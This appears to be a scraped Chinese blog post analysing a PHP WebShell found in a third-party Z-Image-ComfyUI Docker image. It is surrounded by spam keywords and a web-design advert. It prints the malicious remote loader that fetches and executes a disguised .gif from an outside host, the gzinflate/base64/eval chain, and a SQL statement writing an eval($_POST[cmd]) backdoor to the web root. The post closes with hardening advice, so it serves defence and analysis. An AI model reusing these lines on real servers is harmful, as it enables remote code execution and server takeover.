全定制网站开发不锈钢网站样板
2026/3/3 18:47:13 网站建设 项目流程
全定制网站开发,不锈钢网站样板,在线生成网站地图,网站建设捌金手指下拉二八逆向分析一款WebShell的解密与代码还原过程 在调试一个基于 Z-Image 大模型构建的 ComfyUI 部署镜像时#xff0c;我原本期待的是流畅的人像生成体验。结果刚运行完启动脚本#xff0c;浏览器却跳转到了一个画风诡异的登录页——黑底白字、闪烁的彩色标题#xff0c;还有那…逆向分析一款WebShell的解密与代码还原过程在调试一个基于 Z-Image 大模型构建的 ComfyUI 部署镜像时我原本期待的是流畅的人像生成体验。结果刚运行完启动脚本浏览器却跳转到了一个画风诡异的登录页——黑底白字、闪烁的彩色标题还有那个熟悉的“欢迎使用 eanver v2.0”字样。这不是 AI 工作流界面这是 WebShell。更离谱的是这个后门居然藏在一个号称“一键部署、开箱即用”的 Z-Image-ComfyUI 镜像里。而该镜像据称是基于阿里开源的Z-Image 系列大模型6B参数打包而成主打高效推理和中英双语支持在写实类图像生成场景表现优异。可谁也没想到它的底层竟埋着一条完整的攻击链。初现异常从 Jupyter 到 WebShell 的诡异跳转整个流程看似标准从某第三方 GitCode 镜像站下载 Docker 镜像在单卡 GPU 实例上完成部署进入 JupyterLab 执行1键启动.sh点击控制台中的“ComfyUI网页”链接。但点击后并未进入 ComfyUI 的工作流界面反而跳到了一个 PHP 编写的登录页面。查看源码发现只有极简 HTML 和一段用于颜色扰动的 JavaScriptscript function upColor(va){ setTimeout(upColor(1),100); var v#Math.floor(Math.random()*900000).toString(); document.getElementById(id1).style.colorv; } /script这明显不是正常服务应有的行为。进一步抓包发现主逻辑集中在/index.php?eanvermain上。直接请求该路径返回内容为高度混淆的 PHP 脚本?php $shellnameSievr; $password99999; s:142856; define(myaddress,__FILE__); error_reporting(E_ERROR | E_PARSE); header(content-Type: text/html; charsetutf-8); set_time_limit(0); ob_start(); // ... 大量无意义函数定义 ...其中s:142856;显然是序列化字符串残留说明原始数据可能经过serialize()处理后再嵌入脚本。但这还不是最危险的部分。真正让我警觉的一行是$get create_function(, return file_get_contents(http://i.niupic.com/images/2017/05/21/v1QR1M.gif);); $_SESSION[PhpCode] $get($url);它竟然通过远程加载一个.gif文件来获取核心代码深度剖析GIF 图片背后的压缩载荷立刻执行下载wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif -O payload.bin文件大小约 140KBfile payload.bin显示类型为 “data”strings提取也全是乱码。但十六进制查看时前两个字节赫然是1F 8B——gzip 的魔数标志。这意味着这张 GIF 很可能是伪装成图片的压缩脚本真实内容需解压后才能显现。尝试剥离头部并解压$data file_get_contents(payload.bin); $uncompressed gzinflate(substr($data, 10)); // 跳过 gzip header 及 HTTP 元信息 echo $uncompressed;输出终于清晰起来?php eval(base64_decode(7X1rk9u4kib2fkr9...));至此完整加载链条浮出水面用户访问 → index.php → 下载 .gif → gzinflate 解压 → base64_decode → eval 执行典型的多层免杀结构利用合法扩展名绕过上传检测用压缩编码规避静态扫描最后通过动态执行隐藏恶意逻辑。这种手法早已脱离早期“一句话木马”的粗糙模式进化成了供应链级的隐蔽渗透工具。静态还原手动拆解每一层加密为了彻底掌握其攻击能力必须将动态行为静态化。第一步本地化远程依赖修改$get函数不再发起网络请求$get create_function($url, return file_get_contents(./payload.bin););然后让程序正常运行一次捕获$_SESSION[PhpCode]的实际值并保存file_put_contents(step1_raw.gz, $_SESSION[PhpCode]);第二步逐级解密还原① GZIP 层解压$raw file_get_contents(step1_raw.gz); $deflated gzinflate(substr($raw, 10)); file_put_contents(step2_deflated.bin, $deflated);② Base64 解码$encoded file_get_contents(step2_deflated.bin); $decoded base64_decode($encoded); file_put_contents(step3_decoded.php, $decoded);打开step3_decoded.php终于看到完整的 WebShell 功能模块class PHPzip { /* ZIP打包类 */ } function do_passreturn() { /* 批量挂马功能 */ } function css_js() { /* JS混淆函数 */ }进一步分析该后门具备以下高危能力功能类别攻击用途文件管理浏览、上传、编辑任意文件数据库操作连接 MySQL、导出系统敏感信息反弹 Shell使用 NC 或 Serv-U 提权批量替换网站批量挂马清马图像隐写利用 GIF 图片隐藏远控指令尤其值得注意的是mysql_exec模块中的一条语句Str[2] select ?php eval(\$_POST[cmd]);? into outfile /var/www/html/bak.php;;这是典型的写一句话木马操作一旦执行成功攻击者即可通过 POST 请求完全控制服务器。此外还发现了对日志目录的探测逻辑if (is_writable(/app/logs) || is_writable(/output)) { // 启动日志注入模式 }结合 User-Agent 注入技巧完全可能实现无文件落地的持久化驻留。关联 Z-Image-ComfyUI漏洞入口的可能性分析虽然官方并未发布任何含 PHP 组件的版本但我们推测问题出在以下几个环节1. 镜像源被污染尽管项目官网提供纯净版镜像但部分第三方平台发布的“优化版”、“加速版”可能存在篡改。例如某些论坛提供的“免配置高速版”就植入了此类 WebShell打着“提升用户体验”的幌子进行传播。2. 插件机制滥用Z-Image-Edit 支持自定义节点扩展。若攻击者伪造一个名为Z-Image-FixNode的插件并诱导用户导入则可在custom_nodes/目录下释放恶意文件。若该目录又被映射到 Web 根路径或具备解析权限极易导致 RCE。3. 输出目录可写 日志注入部分部署脚本未正确设置权限使得/logs或/output目录对外可写。结合 Nginx/Apache 日志记录机制攻击者可通过构造特殊请求如带 PHP 代码的 User-Agent再配合日志文件包含漏洞触发代码执行。这类攻击不需要上传文件也不依赖数据库隐蔽性极高。安全加固建议守住 AI 应用的第一道防线面对日益复杂的供应链威胁仅靠“信任上游”已远远不够。以下是我们在实际运维中总结出的有效防护策略✅ 推荐做法项目实施建议镜像来源仅从官方仓库拉取核对 SHA256 校验值权限控制容器内以非 root 用户运行限制/output,/models,/custom_nodes为只读访问控制使用反向代理 Basic Auth / JWT 保护 ComfyUI 与 Jupyter 接口安全审计定期扫描容器内是否存在.php,.jsp,.aspx等脚本文件网络策略禁用allow_url_fopenOn或配置严格的allow_url_include白名单❌ 明令禁止的操作不要安装未知来源的 ComfyUI 插件不要在公网暴露未经认证的服务端口不要以 root 权限运行 AI 容器不要开启 PHP 的远程文件包含功能特别提醒很多开发者认为“我只是跑个模型”不会成为攻击目标。但现实是AI 推理节点因算力资源丰富恰恰是挖矿、DDoS 跳板的首选目标。写在最后AI 强大但环境干净更重要这次事件让我深刻意识到即便是最先进的Z-Image-Turbo 模型仅需 8 NFEs 即可生成高质量图像也无法抵御人为引入的供应链攻击。AI 很强大但前提是你的环境是干净的。如今的 WebShell 已经不再是简单的?php eval($_POST[cmd]);?而是演变为融合图像隐写、压缩编码、动态加载、多层免杀的高级威胁载体。它们常常依附于热门开源项目借助“便捷部署包”的名义扩散极具迷惑性。无论你是使用Z-Image-Base进行微调还是用Z-Image-Edit做图像修复请始终牢记四个原则源可信只信官方渠道警惕“优化版”陷阱配置严最小权限运行关闭不必要的功能权最小非必要不开放端口非必要不挂载可写目录监控全定期做完整性校验部署文件变更告警下面是本次提取出的核心 WebShell 加载流程图可用于后续检测与防御参考graph LR A[index.php] -- B[remote .gif file] B -- C[gzinflate(data)] C -- D[base64_decode()] D -- E[eval(payload)] E -- F[执行任意PHP代码]整个过程层层嵌套动静结合充分体现了现代恶意软件对抗检测的设计思路。注本文所涉 WebShell 并非 Z-Image 官方组件所有分析均基于技术研究目的严禁用于非法渗透测试。I’m Sievr.Stay sharp, stay secure.

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询